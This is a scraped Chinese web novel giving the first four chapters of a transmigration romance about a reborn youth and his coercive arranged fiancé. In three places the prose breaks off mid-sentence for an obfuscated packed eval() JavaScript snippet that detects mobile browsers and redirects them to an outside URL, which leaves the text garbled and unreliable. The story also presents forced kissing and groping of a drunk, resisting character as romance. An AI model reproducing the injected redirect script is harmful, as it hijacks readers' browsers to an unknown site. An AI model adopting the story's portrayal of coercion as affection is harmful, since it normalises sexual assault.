《在家不许汪汪大叫》 1. 第 1 章 靠在沙发上的青年懒懒闭着眼,坠在胸前的银链随着呼吸的起伏时隐时现,陷在锁骨下的凹陷处,一旁时不时有人经过,视线或直接或隐秘。从睫毛一路向下,在陆徊高挺的鼻梁上打个转,又落在他紧抿的薄唇上,再黏连不舍地离开。 酒吧的气氛被台上的乐队轻松推向高潮,一串串节奏炸裂的鼓点流出,声浪一波接着一波,震耳欲聋。不同种类的香水混合着不远处的调笑声,掺杂着酒精蒸腾时的兴奋和欲望,一并裹挟着压在陆徊身上,沉甸甸的。 “嘶——” 被嘈杂的环境震醒,眼前五颜六色的灯光晃得他有些眼晕,陆徊皱着眉伸手一挡,怔忡了几秒,突然坐直了身子,有些不可思议地看向自己的手心。 陆徊屏息,向下伸手,小心翼翼地贴上自己的胸膛,终于聆听到一份不再虚弱的心跳。 砰,砰,一声又一声,稳定而蓬勃。 他从来不知道自己的身体还能有这么活力与健康的时候。 太不可思议了。 重生后的欢喜犹如啤酒里的小气泡,咕嘟咕嘟膨胀成对新环境的好奇。他四下看了看,没找到那只会说话的蜥蜴,只好拘谨地坐在卡座里一动不动,慢吞吞地打量这里。 很快,陆徊就看上了一旁侍者托盘上色泽亮丽的鸡尾酒,睫毛微颤,遮不住他跃跃欲试的眸色。 一杯盛满渐变蓝液体的高脚杯放在了他面前,陆徊小心地抿了抿,偏甜的味道让他双眼发亮,尝试着又喝下一大口。 冰凉的液体长驱直入,灌进喉咙灼烧成朦胧的火焰,陆徊一个激灵,从胃部燃烧起的甜腻感迅速麻痹了他的神经,抹平了他为数不多的理智。 等到胖蜥蜴溜着边儿爬到他身边时,只见上一刻还在病床上呼吸微弱的少年现在正握着酒杯在卡座里歪成一团,脖颈泛起一片湿热的潮红。 旁边还有几个空杯子胡乱地堆在桌上,对方还抱着一个不撒手,身上萦绕的酒气看得系统眼前一黑。 这小子,居然还专挑后劲大的鸡尾酒喝? 根本不知道这几杯漂亮饮料威力有多大,陆徊晕晕乎乎地伸手去抓面前跳舞的色块,眼前一片朦胧,整个人仿佛被抽走了骨头,精心打理的头发不安分地翘起,乱糟糟的。 【你这到底喝了多少……】 耳旁似乎听到了熟悉的声音,陆徊努力扳正身子,向声音传来的方向傻傻一笑,竖起了四根手指。 “不多,就两,两口!” 【怎么敢一个人喝这么多酒的?你还真是对自己的酒量有信心。】 胖蜥蜴表情一言难尽——陆徊根本没抬头看向他,正对着空气竖着手指喃喃自语,呆呆的,完全不像是只喝了一杯的样子。 “可,可是、我前十几年、嗝。都躺在床上……喝药,现在拿几杯果汁怎么了……” “还是说你心疼钱?没事!让我哥给你刷卡、我还要试试别的!嘿嘿……” 来不及委屈的陆徊突然握拳起立,眼神坚定,把旁边一个拎着酒瓶子凑过来的红毛男吓了一跳,他赶紧扶上来,笑容谄媚。 “陆少今天心情不错啊,赏脸再陪我们玩几把?” 刚摇摇晃晃站起来的陆徊感觉自己好像被什么东西挡了一下,脚下一软又摔回了卡座,他愣愣地看着刚才舞动的色斑变成了面前男人红得发紫的头发,有些意外地眨眨眼,又看到对方后面几个同样看过来的人。 原来他还能交到朋友? “好啊好啊!” 非常好奇同龄人之间的友谊模式,陆徊捏了捏自己的脸摆正表情,努力让面前的天花板不要转圈,做出一副认真的样子坐了过去。 旁边几人马上喝起了彩,拍手鼓掌笑得肆意,带了几分不正经。 火鸡男心虚地吞了下口水。刚才陆徊摔回去那一下,别人被他挡着,他却看得仔细:一贯脾气不好的陆少爷今天穿了件领口大开的衬衫,从上往下的角度正好把内里的好风景一览无余,这……这也不是他故意的,好怪,再看一眼。 “呦,今天大少爷这么——” 本来就是随口一叫的那人怔了一下,陆家是靠拆迁起家的暴发户,够不上名门望族的边,圈子里地位并不高,陆徊这个少爷纯纯土鸡变凤凰,平时对他们这帮人爱搭不理的,今天居然肯赏脸了。 “来来来,都过来凑个局,给陆哥个面子!” 本来凑在远处抽烟的几人也慢悠悠晃过来,瞥了陆徊一眼,勉强凑够了人。刚才还空荡荡的卡座顿时坐了个满,红毛也顺势坐在了陆徊旁边,不自然地抓了抓头发。 “人差不多了那就随便挑个热闹的玩了啊,还是老样子,国王游戏吧?” 呸,热场子的小儿科游戏。被拽来的几人纷纷把烟一掐,耸了耸肩,没说玩也没说不玩。倒是毫无经验的陆徊满眼放光,眨巴眨巴眼,悄声和缩在一旁的蜥蜴说话。 【什么是国王游戏?是要一个人当国王,别人保护他吗?】 胖蜥蜴有些惊奇地看他一眼,倒不是因为他异于常人的游戏理解,而是陆徊竟然发现了两个人可以通过心声对话,起码没有突然出声被别人当成神经病。 【国王就是那个国王的意思,不过游戏内容不是护卫,是听从。】 喔! 瞬间听懂了系统什么意思的陆徊兴致勃勃地直起身,有模有样地学着别人抽了一张牌,看的时候还故意往后躲了躲,生怕别人瞅到他的牌面。 一直用余光默默关注他的红毛把陆徊跳脱的模样收进眼底,不禁咂舌。 陆哥怎么看起来和以前不太一样啊…… 根本没注意别人目光的陆徊克制不住内心的激动,眯着眼翻开了自己的牌,在看到不是国王时骤然泄了一口气,满脸掩不住的失望。 “哎呦我这把手气真不赖,上来先胡一把。来来来,三号就位,先闭着眼转5圈,然后直线往前走三步,对着你右手边的人,来一个不少于五十字的深情表白。” 众人哄一声笑出来,没费什么功夫就把这个倒霉蛋找了出来。 这条件……怎么感觉有点怪怪的。 陆徊托着腮旁听,看着满脸写着“晦气”二字的男人站起来猛转几圈,随后歪歪扭扭冲着外面走去,还没和手边的客人说两句话,就被变脸的对方赶了出去。 “太损了太损了,人家正聊得高兴呢,我感觉他的眼神快把我射成筛子了!” “懂什么,玩的就是一个措手不及,不爽不要玩。” 第一个人成功挑热了气氛,旁边也有人凑过来围观的,陆徊连着两轮都没抽到国王,蔫蔫地又选了一杯颜色梦幻的浅紫饮料,一点一点喝了个干净。 “七号去舞池跳五分钟,然后和离你最近的人接吻,记住哦,要你主动亲他,如果是对方先亲的你,那就不算数了。” 奇怪,这就是成年后朋友的游戏方式吗? 陆徊嘀咕着,心不在焉地看了一下自己手里的牌,却猛地睁大了眼睛。 坏了,他好像是七号啊! 几人看到是他也明显一怔,面面相觑,却不敢催他。陆徊模模糊糊感觉到这几人和他关系并不算亲密,心底有点失落,留在这里让彼此都尴尬,干脆…… 他低着头看了看,没在地上找到那只神奇的蜥蜴,只好一摇一晃地扶着有些闷痛的头离开休息区,跌跌撞撞向舞池走去。 越往舞池中央,灯光的颜色就越花里胡哨。陆徊眯着眼,下意识伸手去抓面前晃动的绿色小点,不出意外扑了个空,他摇摇头,想把那丝残存在脑海中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978227|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眩晕赶走,像只刚学会走路的企鹅一样,笨拙地学着别人的步伐,乱七八糟地转起来。 不出一会儿,某只东亚企鹅身上熨好的,服帖的衬衫已经被他混乱的舞步甩开几颗扣子,随着他的步伐,露出一截窄腰,扭动间被灯光涂上一层浅浅的色泽,引来了不少明里暗里打量的视线。 还没发现陆徊不见了的蜥蜴正盘在角落,似乎和周遭环境融为一体。它在原地卷了下舌头,精准抓住一只路过的蚊子,一口吞进嘴里。 这个小世界比较初级,能拿到的能量也不多,它就没给陆徊安排什么重要的角色,不过是一个很小的炮灰人物。两人都没正式见过面,那个短命的联姻对象就下线了。这种和重要剧情联系不上的配角,应该问题不大。 更何况这里并没有其他外来者,作为陆徊的新手期展开正合适。 怀揣着“孩子刚有了具健康的身体就让他好好体验一下人生”的心态,系统安心地缩进了角落里,时不时给自己加个餐,任由陆徊这只不谙世事的兔子扑通一声跳进了狼窝。 舞池里,像只小鸭子一样歪歪扭扭的陆徊正努力跟上旁边人的节奏,他的四肢还有些协调不开,躺在病床上的时间过得太久,他都忘了正常人应该怎么使用腿和手一起摆动,只好笨拙地迈步,再转身,完全没有发现自己慢慢移到了舞池边。 “啊!” 一个不留神脚下踩空,他身体重重一歪,眼看着就要摔进人群中间,腰上突然传来一阵大力,牢牢钳制着他,拽进了一个怀抱里,帮陆徊扶正了摇摇欲坠的身体。 “……嗯?” 被太多颜色的光柱晃得眼晕,根本无法聚焦到这位好心人的脸上。陆徊努力揉揉眼,只能模糊看清对方的脸部轮廓。 似乎是一个身形高大的男人,站姿挺拔,和歪歪扭扭的他靠得极近,呼吸间似乎能闻到对方身上携带的晚风味道,锋利而冰冷,让他情不自禁吸了吸鼻子,试图缓解一丝身上的闷热。 “谢,谢谢你、好心的先生……” 酒精摄入了太多,他的思维转动时有些迟钝,并没有发现男人没有松开他的腰,反而因为对方强有力的臂膀诡异地产生了一种安心感。对社交距离没什么认知的少年一脸诚恳,就连道谢都说得颠三倒四。 看起来不太聪明。 男人居高临下地看他,不予置评。只是抬手看了一眼腕表,像是不耐烦。落在陆徊身上的目光仿佛在评判一件物品,神色幽暗。 陆徊还在暗自庆幸。 还好、还好没摔倒,这可是他好不容易等来的,一具健康的身体,可不能坏掉…… 小声嘀咕着,陆徊庆幸地拍拍胸膛,长舒出一口气,摸遍浑身上下,从口袋里费劲地掏出一张卡,学着曾经听说过的那些情节,往男人手里一塞。 “谢谢你帮、帮了我,请、请你吃饭……随便刷,不用还!” 自以为非常慷慨的陆徊想要拍拍好心人的肩膀,直视对方眼睛认真地说声谢谢。却愕然地发现他和对方的身高存在着一定差距,以至于他要稍微踮起一点脚,才能和男人的眉毛平齐。 长这么高进电梯都得低头吧? 思绪不知道飞哪儿去的陆徊咬着唇,他上辈子长期躺在病床上,虽然护工会每天给他按摩四肢以防肌肉萎缩,但是直到离开都没能长到这个高度…… 算了,他只是有那么一点羡慕。 很快就把自己哄好的陆徊转过身,打算继续练习自己不协调的四肢,然而还没走出一步,就被扯了回来。 “喝得烂醉还不忘给人塞房卡?” 眼前的男人说话阴森森的,像是牙缝里挤出来,骤然让身侧的气温降了几度,冻得陆徊皱了皱鼻子。 “陆徊,谁给你的胆子?” 2. 第 2 章 陆徊仰着头摸了摸自己的口袋,又看看面前的男人,一脸疑惑。之前精心打理的发型垂落几缕,衬出和往常不一样的乖巧,严珩驰定定看着他犯蠢,嘴角勾起一抹意义不明的笑,一把拽过陆徊身前的吊坠,迫使对方撞进了自己怀里。 鼻尖被撞得通红,陆徊刚要伸手去揉,脸上骤然贴住一张冰冷的卡片,顺着他的唇瓣刮过喉结一路向下,在胸前狠狠划过,触感怪异。完全没意识到自己被当成POS机对待的他被弄得一颤,有心想躲,又被抓着手腕扯回来,迷迷糊糊间听到男人没什么感情的问话。 “喝了几杯?” 问话无人应答,严珩驰看着陆徊那副几乎把“我听不懂”四个字挂在脸上的模样,手下的力气不由得大了几分,直到看着对方蹙眉露出可怜兮兮的表情,才冷着脸松开,插着兜等他解释。 本能作祟,直觉告诉自己这个人好像在生气。陆徊捂着脑袋冥思苦想,喃喃说不出话。严珩驰也不急,挑着眉在一旁等着回答,看看他能编出个什么理由。 只见刚才还低着头作鹌鹑状的陆徊不知道想到了什么,突然闭着眼往男人这边一凑,不得章法地仰头亲过来,生涩又莽撞。 严珩驰刚侧头躲过,就听见对方嘀嘀咕咕着什么“这可是我主动亲的没触犯游戏规则”“随便找个人亲一下就行了吧”顿时脸黑成锅底。 明明唇角还残留着陆徊拱过来时湿漉漉的触觉,像被猫舔了一口,吐息温热。下一秒面色酡红的小醉鬼就被他抵在了不远处的墙上,下颌被大手牢牢卡住,舌尖都被挤出一点,可怜地挂在唇边,半露不露。 炙热的温度落下,凶狠得不像情人间的吻,来势汹汹地咬住他的下唇。陆徊吃痛,一声来不及发出的惊呼被堵进唇舌间,被轻而易举撬开齿关,长驱直入,强势地掠走残余酒液的甜腻气息,亲得陆徊呜呜直叫。 下意识伸手去推面前的男人,反而被按进怀里吻得更凶,只觉得脸颊都酸得过分的陆少爷眼底凝聚起了泪花,不受控制的涎水顺着下巴流出,几乎被亲得喘不过气来。 从来没有过这种经验的他被逐渐漫上的窒息感唤起了最害怕的回忆,终于找到机会奋力一挣,推开了压在他身上的男人,拔腿就往外跑。 只是还没迈出两步就被抓住,对方一只手提着他,十分轻松。拼命扑腾的后果就是被揪着腿扛到了肩上,陆徊后知后觉,看了一眼周围的人,脸上火辣辣的烧。 “放我下去!” “我不是有意的!” 头朝下的姿势很难受,本来就晕的脑袋充血后疼得一抽一抽的。陆徊深吸一口气,努力为自己辩解,“游戏规则是这样的……只是不小心亲到你了,下次一定不会了。” 严珩驰气极反笑,毫不客气地又把肩上的麻袋往上颠了颠,果不其然听到陆徊的闷哼声。 “那你知不知道,和我联姻就要遵循我的规矩?” “半夜不回家,和一帮狐朋狗友来这里寻欢作乐,我的存在感有这么低?” 守在酒吧门口的保安目不斜视,对两人的怪异姿势视而不见,弯腰打开了门。地库的风有些凉,吹得陆徊一个哆嗦,他手忙脚乱地往上拢了拢自己的领口,浑然不觉腰间露了一大片白。严珩驰眸色沉沉,对还在身上乱动的人忍无可忍,一个巴掌下去,对方挺翘的位置一抖,顿时老实多了。 “唔……” 陆徊耳朵通红,在他的记忆里除了被翻面打针,很少有人触碰到他这个地方,现在挨了陌生人一顿打,眼眶一下就红了,打又打不过,跑也跑不了,他悻悻地趴在男人背上偷偷抹眼泪,直到被扔进车里,也没开口和严珩驰说一句话。 “回家。” “等、等一下,我还有东西在里面!” 还以为这小子要装一路哑巴呢。 瞥过一旁蹲在车里闷气不说话的陆徊,严珩驰淡淡收回视线,下一秒就看到对方嗖地站起来,随即脑袋撞上了车顶,发出一声低低的痛呼。 “……” 这下真是疼出眼泪来的陆徊捂着头咬着嘴唇不吭声了,男人皱着眉,又仔细打量了他一遍,点点腕表,确认时表情有些古怪。 “你这是拐卖人口,放我下车!” 车门都锁了才发现自己上了贼船的陆徊在后排使劲折腾,前面的司机一副经过大风大浪的样子,面色平静地升起中间的挡板,把前后排分隔开。不算小的空间里骤然只剩下他和刚才的男人,陆徊欲哭无泪,按了半天门把手的按钮也打不开车门,倒是窗户哗啦啦开了一半,惹得对方低笑一声。 “奉劝你一句,不要白费力气。” 陆徊没听见,自顾自地研究自己旁边那扇门,像仓鼠啄食一样的声音终于惹得严珩驰没了耐心,他提着陆徊的领子把人揪过来,扯过安全带,三两下就把他上半身绑成了粽子。 严珩驰看他一眼,话语中满是警告。 “再不老实就把你扔后备箱。” 和醉鬼讲道理是最没有用的,陆徊一心想回去找自己的蜥蜴,动作艰难地在车上扭来扭去,本就没几颗扣子在位的衬衫直接散了大片,露出他一小片白皙的腰腹。刚才扛回来的路上没来得及,这下被严珩驰看得一清二楚。 他慢条斯理地整理着袖口,目光沉沉,一寸寸地扫过去,从陆徊的喉结到锁骨,稍微停顿了些许,再往下移到对方绷得紧紧的小腹,察觉到对方那一丝鼓起的弧度,眼底神色不明。 还没放弃和安全带搏斗的陆徊不得不挺起胸,试图先空出来一只手,过了半晌不仅一点进展没有,还折腾得自己一头汗,他呆呆地靠在椅背上,看向车外一盏接一盏流过的路灯,被风吹得打了个冷颤。 “你到底喝了多少,才能连我都认不出来。” 愣神之际,一只冰凉的手落在他肚子上,有意无意地向下用力,压得陆徊一个打挺就想跳起来,小腹不自然地抽动两下,缩成一团。他扭头死死盯着嘴角含笑的罪魁祸首,向右边挪了挪身体。 “嗯?陆徊。” 严珩驰眯着眼又伸手覆上去,故意在男生敏感的下腹处微微摩挲,感到手下的皮肤有一瞬间的紧绷,轻轻笑出声来。 喝了不少酒的小腹微微发涨,此刻还被男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978228|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大手捏在掌心把玩,对方手上的温度摸得陆徊有苦难言,感觉自己好像被一只巨蟒缠住,后背发凉。 “我在问你话。” 骤然压低的声线落入耳中,陆徊情不自禁想起来曾经自己偷偷把疗程药倒水池里的壮举,哥哥发现后也是这个冰冷的语气。他下意识一哆嗦,也不敢反驳,只是又往旁边躲了躲,努力把自己翻开的肚皮藏过来,不让这个人碰。 窸窸窣窣的声音没了,陆徊暗自松了一口气,以为对方放了他一马,还在焦急怎么和蜥蜴联系上的他正思索着,刚才那只手又阴魂不散地追过来,一寸寸顺着他的后背往下摸,手法古怪而狎昵,顿时让他炸了毛。 “你别碰我!你个人贩子,拐卖人口的混蛋!” 陆徊气得口不择言,怎么蠕动都逃不开身上那只手,忍不住腾出一条腿,打算狠狠踹对方一脚,结果脚踝被男人轻松握住,轻轻一拽,安全带被跟着一紧,勒得更深。 “脾气太大了,得改改。” 严珩驰漫不经心地评价着,再次揉上陆徊的小腹,时轻时重地按压着,满意地看到刚才还扑腾个不停的大少爷死死咬住了嘴。他垂眸看着对方刚被自己啃噬过的下唇,轻轻啧了一声。 “别、别摸了……” 陆徊被揉得说不出一句完整的话,几乎全身的控制力都用在了那里,严珩驰瞥他一眼,故意轻轻握拳,往下重重一压。 “……呕、呕——” 胃里冷热交织本就不好受,这人还一直故意摸他肚子,意志力还是没能战胜身体本能,再也控制不住自己想吐的欲望,陆徊转头吐了一地,干哕了半天才感觉舒服一点。 车内一片死寂。 古怪的味道很快蔓延开,然而远远不及对方身上冰冷的寒气,陆徊小心翼翼地看了对方一眼,往后缩了又缩,试图把自己藏进阴影里,尽量减少自己的存在感。 但问题又不全怪他,谁叫这人手欠,不乱摸不就好了…… 心里嘀咕着世事险恶,陆徊咳嗽两声清清嗓子,声音轻不可闻。 “吐,吐车上多少钱啊……要不,你从我刚才给你的卡里扣吧……” 话音越来越小,陆徊缩着脖子,恨不得把自己卷成一盘蚊香,他看着面前的男人仍旧不吭声,不知道该怎么接话了,只得躲在离对方最远的角落里,把自己紧紧抱住。 “把车内净化器打开。” 一字一句咬牙切齿的声音从严珩驰嘴里蹦出来,司机飞快地操作好一切后靠边停车,打电话联系人开车过来,很快他们就换了一辆宾利,朝着原来方向驶去。 严珩驰黑着脸一言不发,刚才还闹个不停的陆徊也一路无话,他扭头一看,导致这一切的罪魁祸首好像完成了什么壮举,缩成一团在车门旁边没心没肺地睡着了,还时不时咂咂嘴,像是吃到了什么好东西。 “……别让我发现你是装的。” 什么歪心思都被这一吐整没了,心浮意燥的严珩驰咬牙切齿地看了一眼自己的裤子,有气没出发,只能冷笑一声,打开了车窗,面无表情等待自己身上的味道散去。 3. 第 3 章 第二天。 叫醒陆徊的是窗外的鸟鸣声,宿醉后的头疼如影随形,他不得不捂着脑袋从床上坐起来,一脸呆滞地看着自己面前的陌生装潢。 这么快就换新世界了?不对吧? 最后的记忆停留在国王游戏那里,后续变成了模模糊糊的影子,好像有个人把他带走了——对,对了,蜥蜴! 【你先别急,我就在这儿。】 焦急地环视一周发现蜥蜴就在床头,陆徊松下一口气,随即想到自己昨天的遭遇,禁不住表情古怪。 “昨天那个带我回来的人,是认识我吗?可是我觉得他认识的人好像又不是我……” 蜥蜴在一旁甩了下尾巴,心情复杂,它也没想到一时疏忽就出了这么大岔子。 本该过不了多久就离世的小说配角居然把他的苦命宿主逮回了别墅,话里话外都是认定了要和陆徊好好培养婚姻关系,原文里明明不是这么说的。 这位陆老爷指定给儿子的联姻对象性情古怪,待人冷漠,唯一感兴趣的是研究自己的新型技术,只不过想法太过超前很难拉到太多投资,陆父倒是看中了他的想法,一掷千金,连儿子都打包送了过来,就等着这位科技新贵一举成名…… 只不过很可惜,他的研究价值非凡,但意外遭遇不幸,后续的相关研究一并暂停,直到小说真正的男主出现,误打误撞拿到了相关资料,才让这份研究重新焕发光彩,也成了男主角事业路上的第一块砖。 【现在我有一个好消息和坏消息要告诉你,你打算先听哪个?】 “先听哪个有什么区别……” 陆徊趴在床上发呆,托着下巴发愁,也没注意到自己衣服换成了居家服,他撇撇嘴,不情不愿地选了好消息。 【好消息是你的新身体非常健康,能跑能跳。】 “的确!” 陆徊翻身,在床上滚来滚去玩了两圈,再也不像以前一样用力呼吸两口就上不来气的感觉,这种感觉确实太好了。 “你真是一条神奇的蜥蜴……那么坏消息是什么呢?” 【坏消息是,你不能脱离原主身份……】 看着一脸迷茫的陆徊,蜥蜴顿了顿,尽量把前因后果简单总结一下讲给他听,生怕对方听不明白。 “我懂你的意思了。”陆徊摸摸下巴,一脸沉思,“就是我不能违背人设,虽然现在剧情崩了,但是我得按部就班走下去,是这样吗?” 【应该没错……吧。】 “那问题来了,不遵守会有什么后果,毕竟情节已经和以前对不上了呀?” 这话一出,一人一蜥蜴面面相觑,相对无言。 “比如你说我是那位严、严什么先生的联姻对象,那如果他要求我履行什么责任怎么办?比如就像现在,不让我出门怎么办,我还想试一下爬山跑步赛车……” 陆徊嘀嘀咕咕,满脸纠结,他抓了抓头发,叹了口气。 总觉得对方不是一位好相处的人啊。 【这个……我也不好说,应该不至于管得那么严,实在不行等他死了咱们就跑路!】 陆徊一言难尽,看了一眼旁边满脸乐观的蜥蜴,想说什么又默默闭住了嘴,不想打击对方。 万一人家没死,一口气活到九十九呢? 【有人来了】 蜥蜴突然盘成一团缩进了床底,陆徊啊了一声,正要询问是谁,就看到房间门被推开,外面正是昨天那个男人的脸。 “昨晚睡得很好?” “是啊是啊。”陆徊没听出来这话里隐藏的深意。他点点头,记着系统给他的嘱咐,不能和这个人关系太僵,答得轻快,头上被弄乱的一根呆毛也跟着他的动作上下点头,看得人有些手痒。 “昨晚的事,谢谢你……哦,谢谢严先生,给您添麻烦了。” 听这对方一口一个“先生”一个“您”,严珩驰不置可否,只是抬眸淡淡看了他一眼,明知故问。 “还记得多少?” 这话可不好回答。陆徊干脆实话实说,毕竟诚实是人类的良好品质。 “只记得我和朋友玩游戏,然后就没了。” 也不知道为什么,说完后感觉空气好像凝固了几秒,突然变得有点冷。陆徊倒也没多想,他看着男人上前几步,在床边坐下,迟钝地发现俩人现在距离有些过近了。 “那什么,我先换个衣服吧先生,要不然太失礼了——” 后半句话被硬生生地打断,下巴被抬到和男人视线平视的位置,陆徊睁大眼睛,只从严珩驰眼里读出了一种他看不懂的东西,有点吓人。 “忘了?那我帮陆少爷回忆回忆?” 虽然没明白气氛怎么突然就变得剑拔弩张,陆徊敏锐地感觉出来这人心情不好,本着惹不起躲得起的心态,他一个骨碌从床上爬起来,鞋都来不及穿就要往外跑。 结果第一步就惨遭镇压,严珩驰冷眼看着他窜到床角,不紧不慢地抓住陆徊的脚踝往下一拉,硬生生拖了回来,两人大眼瞪小眼,一时无言。 “跑什么,我有那么吓人?” 陆徊沉默。 他小心地打量了一下这位,自己,呃,剧情中的未婚对象,对方在外表上无可挑剔,但是身上那份拒人千里之外的感觉实在太明显,冷得他浑身发毛,完全不会和这种有城府的人打交道,陆徊只能硬着头皮打哈哈,不自觉拿出了以前对自己哥哥撒娇的架势。 “怎么会呢哥,昨天我谢谢你还来不及,就是我喝多了有点断片,如果有冒犯到你的地方——” “确实,你喝多了会给人塞房卡。” 啊? “昨天你拼命抓着我的手死也不放,一直拖着我往房间里走,别人拦都拦不住。”严珩驰仿佛没看到陆徊慢慢张大的嘴,继续不紧不慢地往下编,语气平淡。 “我实在拿你没办法,所以……” 所以什么啊! 完全不知道自己喝醉了以后会冲陌生人耍酒疯。陆徊怀疑的目光在严珩驰身上扫了一遍又一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978229|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绝望地发现自己找不出对方说谎的痕迹。 “忘了我可以帮你回想起来。” 陆徊还沉浸在震惊之中,没发现两人的距离再次缩短,回过神的时候已经来不及了,男人强势的亲吻压了过来。 这是他第一次在清醒状态下被人亲,陆徊拼尽全力也没能把男人从身上推开,反倒是累出一身汗,被对方深入地探索了唇里的每处角落,就连犬齿也不放过,过分亲密的动作弄得他声音发颤,一点反抗的力气都没了。 被压在身下的陆徊气喘吁吁,满眼水雾,懵懂又纯真的模样看得严珩驰心头火起,又想起来昨天没完成的进程。 腰间微微一凉,睡衣下摆被人掀开,隐藏在下的肌肤被人一寸寸摸索,陆徊被摸得浑身发软,拼尽全力才按住了快要爬上他胸口的那只手,咬牙切齿。 “别、别动了!” 刚才还整洁的床单被蹂躏得一塌糊涂,感觉自己也没比床单好到哪儿去的陆徊开始认真思考一个问题,他到底能不能扮演好这个人物角色。 可惜他满脸红晕,被亲得嘴唇通红的样子实在很难让人停手。严珩驰见快把人惹急了,才不紧不慢地从陆徊身上爬起来,身上依旧整洁干净,和瘫在床上狼狈不已的陆徊形成了鲜明对比。 “开玩笑的。”他细细打量着自己未来的另一半,嘴角浮现出一点细碎的笑意,不达眼底。 “我是来提醒你今晚需要和我共同出席一个宴会,你该去准备礼服了。” “很期待你的亮相,再会。” 不是? 陆徊怒视着那扇被关上的门,软着腿从床上爬下来,还没走两步就在一旁的落地镜里看到了自己的样子,只觉得气得心脏都疼。 “他是不是有病啊?” 蜥蜴沉默,蜥蜴不敢回话。 对于参加宴会只知道个大致流程,陆徊不情不愿地吃了个早午合并餐,坐在椅子上任由严珩驰指定的造型师捯饬他的头发,很快困意上涌,他又不知不觉得睡了过去。 睡醒已是午后四点,自己被小心翼翼地放在了一旁的软沙发上休息,还贴心地盖上了一层毛毯。陆徊爬起来活动了一下僵硬的身子,险些被系到最上面的扣子卡住喉管。 【其实这个打扮不合理,毕竟你的角色是个混不吝的富二代。】 “这衣服整得也太累赘了。” 默默对着镜子吐槽着,一想到自己要穿着这一身直到深夜就觉得窒息。 眼看四下无人,陆徊干脆把上面的外套扣子解开,胡乱往肩上一披,只留了一件贴身的衬衫,领口大喇喇地敞着,马甲一脱,腰间不舒服束缚也没了大半,他在镜子面前转身欣赏了几遍,觉得甚是满意,直接大摇大摆地上了停在庄园门外的车。 正在后座闭目养神的严珩驰闻声睁开眼,刚才还算温和的神色骤然凝固,他看着弯腰钻进来的陆徊身前敞开的那一片白,细看还能寻得两处浅淡的粉,顿时沉下了脸。 “你就穿成这样跟我出门?” 4. 第4章 陆徊脚步一顿,脸都皱成了苦瓜,扒着车门悄悄和蜥蜴商量。 【说真的,就不能换一个剧情对象吗,我觉得这个人特别喜欢针对我,他后期真的能死吗?】 【这……】 胖蜥蜴比他还为难,靠近主角吧,容易被世界意识觉察出来异样直接抹杀;挑了个怎么看都不会出错的早死炮灰吧,结果对方一举一动又不按套路来。 一人一蜥蜴在门口嘀嘀咕咕,没注意到车内严珩驰突然侧过了头,似笑非笑地望向他俩,眸色渐深。 【这样,你再忍忍,积累到一半能源值咱们就换下一个世界,保证给你安排一个舒舒服服的炮灰角色,不用看任何人眼色的那种!】 陆徊看着蜥蜴拍着胸脯打包票,眼睛一下子亮了起来。 【那我想要去学校可以吗?有没有那种学生的角色我可以扮演一下的!】 【可以当然是可以。】蜥蜴欲言又止,想到大多数青春校园剧情,面色古怪。 宿主这是要一年速通高考吗,未免太有生活了…… 【好吧那一般要怎么积攒去下一个世界的能量?】 【那还是很简单的,只要多和剧情角色接触就好了,多说说话,一起出行——哦不过这位不是主要人物,所以乘算系数比较小,差不多折扣下来只有0.3左右,所以你还得和他处好关系。】 打好关系……还不能违背自己的剧情人设。 陆徊摸着下巴,眼神飘忽,过往的生活里他没什么和人交流的经验,突然这么一说,他还有点无从下手。 再看看车内不苟言笑的严珩驰,陆徊怎么也迈不出脚。 算了,船到桥头自然直。 按捺住心底的别扭,陆徊扯了扯自己的领子坐进车里,下巴半扬,装出来一副矜贵样。 “我又不是没穿衣服,你管得也太宽了。” 没注意到男人表情本就不好看的陆徊还在努力维持人设。 “你又不是我爹,少管我。” 胖蜥蜴在一旁加油助威,带着超厚滤镜给宿主摇旗。 【好!很有那种桀骜不驯的纨绔少爷味儿!】 陆徊刚压平翘起来的嘴角,正要谦虚一句过奖过奖,后颈一凉,身侧突然压下一袭黑影。 “我没资格管你?陆徊,你爹送到我手上的合同里可不是这么说的。” 严珩驰不动声色,手指在陆徊细长的脖颈处摩挲,力道不重,却目的明确地往下滑去,逐渐隐入对方大开的衣领里,直到掌心贴上一片细腻的薄肌。 “你……你!” 眼睛猛地睁大的青年被他钳制住,满脸防备,明明长相偏锋利那一挂,这一刻却像一只毫无反抗能力的小动物。 